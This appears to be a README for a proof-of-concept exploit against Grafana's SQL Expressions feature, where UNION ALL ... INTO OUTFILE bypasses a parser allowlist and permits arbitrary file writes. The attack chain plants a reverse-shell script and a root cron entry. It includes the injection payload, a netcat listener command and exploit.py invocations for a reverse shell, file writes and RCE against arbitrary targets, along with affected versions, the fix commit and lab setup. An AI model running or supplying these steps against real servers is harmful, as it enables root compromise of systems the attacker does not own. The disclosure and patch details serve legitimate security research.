
Grafana SQL Expressions Arbitrary File Write to RCE
CVSS 9.1 Critical | Arbitrary File Write | Remote Code Execution
https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56
Grafana's SQL Expressions feature (sqlExpressions toggle) uses an in-process SQL engine (dolthub/go-mysql-server) with a flawed AST allowlist. The SetOp node (UNION ALL) passes validation and its walkSubtree() does not traverse the Into child — allowing INTO OUTFILE to write arbitrary files to the server filesystem as the Grafana process user.
Any authenticated user (Viewer role or higher) can chain this to full RCE via cron-based reverse shell.
| Range | Affected | Fixed |
|---|---|---|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |
Requires sqlExpressions feature toggle to be enabled.
Two compounding flaws in pkg/expr/sql/:
parser_allow.go: allowedNode() uses a named return b = true. The *sqlparser.SetOp case returns true (allowed), and SetOp.walkSubtree() does NOT traverse the Into child node. This means UNION ALL ... INTO OUTFILE bypasses the allowlist entirely.
db.go: The SQL engine context is created without WithDisableFileWrites(true), so INTO OUTFILE writes to disk.
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
A single (SELECT ...) INTO OUTFILE produces a ParenSelect node which IS blocked. Two or more SELECT parts joined with UNION ALL produce a SetOp node which bypasses the check.
1. Authenticate (Viewer role sufficient)
2. POST /api/ds/query with __expr__ datasource, type "sql"
3. UNION ALL INTO OUTFILE writes reverse shell script to /tmp/
4. Second write places cron entry in /etc/crontabs/root
5. Cron fires within 60 seconds -> reverse shell as root
cd lab/
docker compose up -d
# Wait for Grafana to be healthy (~15s)
Grafana runs on http://localhost:3333 with credentials admin:admin.
Terminal 1 — Listener:
nc -lvnp 4444
Terminal 2 — Exploit:
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
Reverse shell lands within 60 seconds.
# Check if target is vulnerable (no writes)
python3 exploit.py -t http://TARGET:3000 --check
# Write arbitrary file
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# Write local file to target
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# RCE via datasource provisioning (no cron needed)
python3 exploit.py -t http://TARGET:3000 --rce
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
To re-run the exploit after a previous run, clean up first — INTO OUTFILE cannot overwrite existing files.
Commit 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):
parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nilparser_allow.go: case *sqlparser.Into: return v == nildb.go: mysql.WithDisableFileWrites(true).
├── README.md
├── analysis.md # Full root cause analysis
├── lab/
│ ├── docker-compose.yml # Grafana 12.4.0 lab (confirmed)
│ ├── Dockerfile # Custom image with cron support
│ ├── entrypoint.sh # Starts crond + Grafana
│ └── setup.sh # Auto-setup script
└── poc/
├── exploit.py # Full PoC with RCE
└── cvss-justification.md
For authorized security research and controlled lab testing only. Do not use against systems without explicit permission.